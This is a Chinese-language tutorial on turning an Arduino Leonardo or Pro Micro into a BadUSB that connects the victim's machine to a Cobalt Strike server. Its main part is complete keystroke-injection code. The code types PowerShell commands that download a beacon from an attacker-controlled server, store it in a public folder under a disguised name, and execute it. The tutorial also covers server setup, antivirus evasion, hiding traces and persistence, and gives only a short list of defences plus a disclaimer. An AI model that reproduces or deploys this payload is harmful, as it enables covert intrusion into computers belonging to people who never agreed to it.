由Arduino制作badusb联动cs进行一插上线
字数 1623 2025-08-20 18:17:59
BadUSB攻击与Cobalt Strike联动渗透测试指南
0x00 基础原理介绍
BadUSB简介
BadUSB是一种HID(Human Interface Device)攻击方式,通过将USB设备模拟为键盘,向目标计算机发送预编程的键盘指令。这种攻击方式在红队渗透测试中常被使用,利用人类好奇心(如捡拾U盘)实施初始入侵。
相关技术原理
-
HID攻击:
- 计算机直接与人交互的设备(键盘、鼠标等)
- 攻击者通过模拟键盘输入执行恶意操作
- 不受自动播放设置影响
-
Teensy攻击:
- 使用Teensy微控制器开发系统
- 可完全模拟键盘和鼠标
- 直接向主机发送控制命令
-
Arduino平台:
- 开源电子原型平台(硬件+软件)
- 使用类似Java、C语言的Processing/Wiring开发环境
- 包含可编程电路板和Arduino IDE开发环境
攻击流程
- BadUSB插入目标计算机
- 设备被识别为键盘
- 自动执行预编程的键盘操作:
- 打开终端/命令行
- 下载并执行Cobalt Strike木马
- CS服务器收到上线通知
0x01 所需工具
硬件设备
- BadUSB设备:Arduino开发板(25-30元)
- 推荐型号:Arduino Leonardo/Pro Micro(支持HID模拟)
云服务器
- 推荐配置:阿里云学生机(9.5元/月)
- 操作系统:Ubuntu(推荐用于CS服务器)
软件工具
- Cobalt Strike:渗透测试框架
- 免杀工具:用于处理CS木马(文中未具体说明)
- Arduino IDE:编写和上传BadUSB代码
0x02 环境搭建
云服务器配置
-
系统更新:
sudo su apt-get update apt-get upgrade -
Cobalt Strike服务端部署:
chmod 777 ./teamserver ./teamserver [IP] [密码] -
防火墙配置:
- 开放50050端口(CS默认端口)
- 开放HTTP服务端口(如80)
Web服务搭建(PHPStudy)
- 安装PHPStudy(小皮面板)
- 配置防火墙允许HTTP端口
- 上传两个版本的CS木马(区分大小写):
beacon.exeBEACON.EXE
0x03 BadUSB编程
Arduino代码解析
#include <Keyboard.h>
void setup() {
Keyboard.begin(); // 开始键盘通讯
delay(3000); // 延时确保系统识别设备
// 打开运行窗口(Win+R)
Keyboard.press(KEY_LEFT_GUI); // win键
delay(500);
Keyboard.press('r'); // r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
// 绕过输入法(利用大写锁定)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
// 打开cmd
Keyboard.println("cmd");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
// 执行PowerShell下载命令
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= 'http://xx.xx.xx.xx/beacon.exe';"); // 替换为实际URL
Keyboard.println("$file = 'c:\\users\\public\\downloads\\systemis.exe';");
Keyboard.println("$clnt.downloadfile($url,$file)");
// 执行下载的木马
Keyboard.println("powershell.exe start c:\\users\\public\\downloads\\systemis.exe");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
// 恢复大写锁定状态
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
// 退出
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end(); // 结束键盘通讯
}
void loop() {
// 空循环
}
关键注意事项
-
开发板选择:
- 必须在Arduino IDE中选择正确的开发板型号(如Arduino Leonardo)
- 确保安装了Keyboard库
-
输入法绕过:
- 使用大写锁定技巧确保输入英文
- 分段执行命令绕过防护
-
路径处理:
- 使用系统公共目录(如c:\users\public\downloads\)
- 文件名伪装(如systemis.exe)
-
延迟设置:
- 适当延迟确保命令执行完成
- 初始延迟确保设备被正确识别
0x04 攻击优化建议
-
免杀处理:
- 对CS木马进行多重免杀处理
- 定期更新免杀技术
-
隐蔽性增强:
- 使用无窗口模式执行
- 添加清理痕迹的脚本
-
持久化:
- 添加注册表启动项
- 创建计划任务
-
通知机制:
- 编写CS插件实现上线短信通知
- 集成Telegram/Discord通知
0x05 防御措施
-
禁用自动运行:
- 组策略中禁用所有可移动存储的自动运行
-
设备限制:
- 限制未知USB设备的使用
- 部署USB设备管理策略
-
监控措施:
- 监控异常键盘输入
- 检测可疑的PowerShell活动
-
安全意识:
- 不插入来源不明的USB设备
- 定期进行安全意识培训
附录
常见问题解决
-
Keyboard库缺失:
- 确保使用支持HID的Arduino开发板
- 安装必要的库文件
-
CS连接失败:
- 检查云服务器防火墙设置
- 验证端口转发配置
-
命令执行失败:
- 调整延迟时间
- 检查目标系统语言和输入法设置
资源链接
- Arduino IDE下载:https://www.arduino.cc/
- Cobalt Strike官方:https://www.cobaltstrike.com/
- PHPStudy官网:https://www.xp.cn/
注意:本文仅用于安全研究和授权渗透测试,未经授权使用这些技术可能违反法律。